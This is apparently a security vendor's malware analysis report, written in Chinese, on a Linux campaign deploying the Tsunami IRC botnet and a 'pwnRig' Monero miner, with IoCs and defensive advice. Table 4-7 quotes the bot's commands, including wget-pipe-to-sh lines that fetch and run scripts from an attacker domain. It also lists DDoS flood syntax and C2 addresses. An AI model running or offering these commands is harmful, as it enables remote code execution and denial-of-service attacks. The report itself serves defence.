精准投放Tsunami僵尸网络和“魔铲”挖矿木马的行动分析

时间 :  2020年04月24日  来源:  安天CERT


1 概述


        近日,安天CERT联合哈尔滨工业大学网络安全响应组通过网络安全监测发现了一起僵尸网络和挖矿木马事件,该事件针对Linux系统,包含服务器和智能设备。攻击者配置了一个IP列表,如果目标主机外网IP在列表中则下载运行Tsunami僵尸程序,如果目标主机外网IP不在列表中则下载运行“魔铲”挖矿木马,IP列表共8487条,全球范围内涉及政府部门、金融行业、互联网企业、媒体、运营商等多种目标,国内也有大量目标。

        安天CERT分析推测,IP列表中的对应机构的特点是网络流量相对较大,因此被攻击者用来做僵尸网络的组成部分;IP列表外的,网络流量可能相对较小,因此被攻击者用来挖矿。

        被感染的Linux系统的计划任务中,存在一个每隔一段时间执行一次下载和运行update.sh脚本的任务。该脚本功能是获取计算机信息(用户id、处理器架构和公网IP),连接网络读取一个IP列表(server.txt),判断主机的公网IP是否存在于该IP列表中,如果存在则准备下载组成僵尸网络的僵尸程序运行,如果不存在则准备下载挖矿木马运行。

        安天CERT分析判定,update.sh脚本下载的僵尸程序属于Tsunami家族。该僵尸网络基于Internet中继聊天(IRC)的命令控制服务器操作,在受感染设备的配置中修改DNS服务器设置,使来自物联网设备的流量被重定向到攻击者控制的恶意服务器。Tsunami僵尸网络主要使用下载器下载、利用漏洞、远程登录扫描等方式进行传播。Tsunami僵尸网络的主要功能为远程控制、DDoS攻击和其他恶意行为。

        安天CERT分析判定,update.sh脚本下载的挖矿木马是攻击者基于开源的门罗币挖矿工具(XMRig)开发修改,该挖矿木马和网络流量中均含有特殊字符串“pwnRig”,安天CERT将该挖矿木马命名为“魔铲”挖矿木马。

        目前,安天智甲终端防御系统 (Linux版本)可实现对该挖矿木马和僵尸网络的查杀与有效防护。安天智甲作为安天旗下的终端防御系统,目前已经率先完成与统信操作系统UOS全平台适配兼容 ,成为统信操作系统生态伙伴。

2 事件对应的ATT&CK映射图谱


        该起事件主要是由恶意脚本所引发,针对目标特点投放僵尸程序或挖矿木马。通过对该事件进行ATT&CK映射,展示攻击者在该事件中使用的技术特点。

图 2-1事件对应的ATT&CK映射图谱

        具体ATT&CK技术行为描述表:

表 2-1 该事件的ATT&CK技术行为描述表

ATT&CK阶段/类别

具体行为

注释

执行

利用计划任务

添加计划任务,定时启动;

使用脚本

使用Linux Shell脚本;

持久化

利用计划任务

添加计划任务,定时启动;

防御规避

软件加壳

对恶意程序加壳;

发现

发现系统所有者/用户

获取系统用户id

发现进程

遍历系统进程;

发现系统信息

获取处理器架构信息;

发现系统网络连接

获取主机公网IP地址及所有网络连接的IP

命令与控制

利用常用端口

利用常用端口与C2建立连接和数据传输;

渗出

通过C2信道回传

通过C2信道回传数据;

影响

端点侧拒绝服务(DoS)

针对终端的拒绝服务攻击;

网络侧拒绝服务(DoS)

针对网络的拒绝服务攻击;

资源劫持

消耗系统资源;

3 防护建议


        针对该挖矿木马和僵尸网络安天建议企业采取如下防护措施:

3.1 企业防护

        (1) 安装终端防护:安装反病毒软件,建议安装安天智甲终端防御系统 Linux版本

        (2) 加强ssh口令强度:避免使用弱口令,建议使用16位或更长的密码,包括大小写字母、数字和符号在内的组合,同时避免多个服务器使用相同口令;

        (3) 及时更新补丁:建议开启自动更新功能安装系统补丁,服务器应及时更新系统补丁;

        (4) 开启日志:开启关键日志收集功能(安全日志、系统日志、错误日志、访问日志、传输日志和Cookie日志),为安全事件的追踪溯源提供基础;

        (5) 主机加固:对系统进行渗透测试及安全加固;

        (6) 部署入侵检测系统(IDS):部署流量监控类软件或设备,便于对恶意代码的发现与追踪溯源。安天探海威胁检测系统 (PTD)以网络流量为检测分析对象,能精准检测出已知海量恶意代码和网络攻击活动,有效发现网络可疑行为、资产和各类未知威胁;

        (7) 安天服务:若遭受恶意软件攻击,建议及时隔离被攻击主机,并保护现场等待安全工程师对计算机进行排查;安天7*24小时服务热线:400-840-9234

        目前,安天智甲终端防御系统 (Linux版本)可实现对该挖矿木马和僵尸网络的查杀与有效防护。

图 3-1安天智甲有效防护

4 样本分析


4.1 update.sh脚本分析

表 4-1 update.sh标签

病毒名称

Trojan[Downloader]/Shell.Mine

原始文件名

update.sh

MD5

6AE73CAB2D8378816AD0CB3B77EBA983

文件大小

1.35 KB(1,379 字节)

文件格式

Script/Linux.SH[:Shell]

VT首次上传时间

2020-04-14 02:30:57

VT检测结果

1 / 59

        update.sh脚本的内容如下:

图 4-1 update.sh脚本内容

        被感染的Linux系统的计划任务中,存在一个每隔一段时间执行一次下载和运行update.sh脚本的任务。该脚本功能是获取计算机信息(用户id、处理器架构和公网IP),连接网络读取一个IP列表(server.txt),判断主机的公网IP是否存在于该IP列表中,如果存在则准备下载组成僵尸网络的僵尸程序运行,如果不存在则准备下载挖矿木马运行。在准备下载僵尸程序运行前,判断主机中是否存在僵尸程序相关字符串的进程,其目的是判断主机是否已经感染了该僵尸程序;判断用户id是否为root用户,选择是否开启ssh服务;判断处理器架构,选择下载相应架构的僵尸程序运行(见表4-2),经安天CERT分析工程师测试,仅存在i686和x86_64两种架构的僵尸程序。在准备下载挖矿木马运行前,判断主机网络连接中的所有IP地址是否存在攻击者正在使用的与挖矿相关的三个IP(见表4-3),其目的是判断主机是否已经感染了该挖矿木马,如果未感染则选择下载相应架构的挖矿木马运行,经安天CERT分析工程师测试,仅存在i686和x86_64两种架构的挖矿木马。

        主要的处理器架构信息及对应的下载情况:

表 4-2 对应处理器架构的下载情况

处理器架构

是否能下载对应架构的恶意代码

能下载的恶意代码

i686

僵尸程序、挖矿木马

x86_64

僵尸程序、挖矿木马

i386

aarch64

mips64

mips64el

sw_64

        update.sh中的3个IP信息如下,这3个IP及曾经解析过的域名可能与矿池代理相关:

表 4-3 IP信息

IP

国家

域名

185.183.97.216

罗马尼亚布加勒斯特

xmr-v4.pwndns.pw(历史解析)

51.79.74.212

加拿大

212.ip-51-79-74.net

185.45.192.135

荷兰南荷兰省

        update.sh脚本的详细执行流程如下:

图 4-2 update.sh脚本的详细执行流程

4.2 Tsunami僵尸程序分析

表 4-4 僵尸程序标签

病毒名称

Trojan[Backdoor]/Linux.Tsunami

原始文件名

x86_64

MD5

4FF3BA68D0F154E98222BAD4DAF0F253

文件大小

184 KB(188,648 字节)

文件格式

BinExecute/Linux.ELF

加壳类型

upx

VT首次上传时间

2020-02-29 16:38:48

VT检测结果

36 / 60

        经安天CERT分析判定,update.sh脚本下载的僵尸程序属于Tsunami家族。该僵尸网络基于Internet中继聊天(IRC)的命令控制服务器操作,在受感染设备的配置中修改DNS服务器设置,使来自物联网设备的流量被重定向到攻击者控制的恶意服务器。Tsunami僵尸网络主要使用下载器下载、利用漏洞、远程登录扫描等方式进行传播。Tsunami僵尸网络的主要功能为远程控制、DDoS攻击和其他恶意行为。

        Tsunami僵尸程序运行后,先判断是否为唯一实例运行,获取该进程识别码、当前系统时间和父进程PPID随机组成用户识别码。

图 4-3生成用户识别码

        该僵尸程序的上线地址由内置的IP和域名二选一和内置的7个端口号七选一组合而成。内置的IP和域名为:

        80.23.88.68

        irc.do-dear.com

        7个默认端口为:

        80、443、6667、6668、7000、8080、22

        向上线地址发送的内容格式为:

        NICK %s',0Ah 'USER %s localhost localhost:%s

        向上线地址(IRC服务器)发送连接后,等待攻击者的控制指令。Tsunami僵尸程序的主要功能为远程控制、DDoS攻击和其他恶意行为。

        远程控制的指令与功能描述如下:

表 4-5 Tsunami僵尸程序的远程控制功能的指令与功能描述

指令

描述

语法

352

设定假IP

 

376

加入频道

Send(fd,”NICK %s\n”,nick)

Send(fd,"MODE %s-xi\n",nick)

Send(fd,"JOIN %s :%s\n",chan,pass)

433

产生一个新的昵称

 

422

加入频道

Send(fd,"NICK %s\n",nick)

Send(fd,"MODE %s -xi\n",nick)

Send(fd,"JOIN %s:%s\n",chan,pass)

PRIVMSG

执行特殊指令

 

PING

发送PONG

 

NICK

从指令中取一个字符串作为昵称

 

        DDoS攻击的指令与功能描述如下:

表 4-6 Tsunami僵尸程序的DDoS攻击的指令与功能描述

指令

描述

语法

RANDOMFLOOD

ACK洪水和SYN洪水之间随机切换

RANDOMFLOOD <target> <port> <secs>

ACKFLOOD

ACK洪水(欺骗)

ACKFLOOD <target> <port> <secs>

SYNFLOOD

SYN洪水(欺骗)

SYNFLOOD <target> <port> <secs>

TSUNAMI

发起DDoS攻击

TSUNAMI <target> <secs>

PAN

“高级”SYN洪水

PAN <target> <port> <secs>

SUDP

UDP洪水(欺骗)

SUDP <target> <port> <secs>

UDP

UDP洪水

UDP <target> <port> <secs>

NSACKFLOOD

ACK洪水

NSACKFLOOD <target> <port> <secs>

NSSYNFLOOD

SYN洪水

NSSYNFLOOD <target> <port> <secs>

STD

发起DDoS攻击

STD <target> <port> <secs>

UNKNOWN

发起DDoS攻击

UNKNOWN <target> <secs> (recommended for non-root users)

KILLALL

终止DDoS攻击

 

        其他的指令与功能描述如下:

表 4-7其他的指令与相关功能描述

指令

描述

语法

DNS

识别域并将其IP发送给服务器

 

CUSTOM

执行自定义脚本(在指定的链接处)

wget -qO http://o.kei.su/custom | sh> / dev / null 2>1

 

PATCH

针对Shellshock漏洞

wget -qO http: //o.kei.su/patch | sh> / dev / null 2>1

 

BOTKILL

删除其他木马

wget -qO http://o.kei.su/botkill | sh> / dev / null 2>1

 

GETSPOOFS

获取欺骗参数

 

SPOOFS

设置用于欺骗的IPIP范围

SPOOFS <iprange/ip>

VERSION

返回后门版本

 

SERVER

将服务器更改为指令中指定的服务器

 

GET

下载指定文件

GET <url> <save as>

IRC

将指定的IRC指令发送到服务器

IRC <arg1> <arg2> <arg...>

HELP

显示可用指令列表

 

SH

执行一组SH指令

SH <arg1> <arg2> <arg...>

4.3 “魔铲”挖矿木马分析

        安天CERT分析判定,update.sh脚本下载的挖矿木马是攻击者基于开源的门罗币挖矿工具(XMRig)开发修改,该挖矿木马和网络流量中均含有特殊字符串“pwnRig”,安天CERT将该挖矿木马命名为“魔铲”挖矿木马。“魔铲”挖矿木马连接非公共矿池,无法追踪活动情况,运行后将自身添加至计划任务中,设置为每分钟执行一次。

表 4-8 挖矿木马标签

病毒名称

RiskWare[RiskTool]/Linux.pwnrig

原始文件名

x86_64

MD5

19BD34C54B71BE9C418B5B5604410863

文件大小

2.43 MB(2,555,924 字节)

文件格式

BinExecute/Linux.ELF

加壳类型

upx

VT首次上传时间

2020-04-10 18:10:13

VT检测结果

25 / 60

        挖矿木马中含有特殊字符串“pwnRig”:

图 4-4 挖矿木马中的字符串

        网络流量中含有特殊字符串“pwnRig”:

图 4-5 挖矿程序流量分析

        挖矿木马的钱包地址:

        46VfQxKRmjSsMRYux3r6qJvxwdVCmZfUFkPqt1uUfikSSy2wJFbcDzdX2ZuH4hDzs7xS8Nsy5orNTMtQUJADuavC2vV1Rp

5 信息整理分析


5.1 IP列表(Server.txt)分析

        攻击者配置了一个IP列表,如果目标主机外网IP在列表中则下载运行Tsunami僵尸程序,如果目标主机外网IP不在列表中则下载运行“魔铲”挖矿木马,IP列表共8487条,全球范围内涉及政府部门、金融行业、互联网企业、媒体、运营商等多种目标,国内也有大量目标(2474条)。

图 5-1 IP地址对应地理位置分布情况(全球)

图 5-2 IP地址对应地理位置分布情况(国内)

5.2 update.sh中的域名关联分析

        通过安天威胁情报综合分析平台关联update.sh中下载恶意代码链接的域名,发现多个与远程控制木马、挖矿木马有关的恶意域名。

图 5-3安天威胁情报综合分析平台域名关联分析

        上述域名关联结果列表:

表 5-1域名对应的关联结果

域名

关联结果

pw.pwndns.pw

僵尸网络、挖矿木马

pwn.pwndns.pw

远程控制木马、挖矿木马

xmr-v4.pwndns.pw

远程控制木马、挖矿木马

xmr-rx0.pwndns.pw

远程控制木马、挖矿木马

6 附录:IoCs


IoCs

6AE73CAB2D8378816AD0CB3B77EBA983

4FF3BA68D0F154E98222BAD4DAF0F253

19BD34C54B71BE9C418B5B5604410863

45F9B43EF723BC4D11A481F093969B34

259430ECA6C287D1590B2E1640C69E6D

pw.pwndns.pw

pwn.pwndns.pw

xmr-v4.pwndns.pw

xmr-rx0.pwndns.pw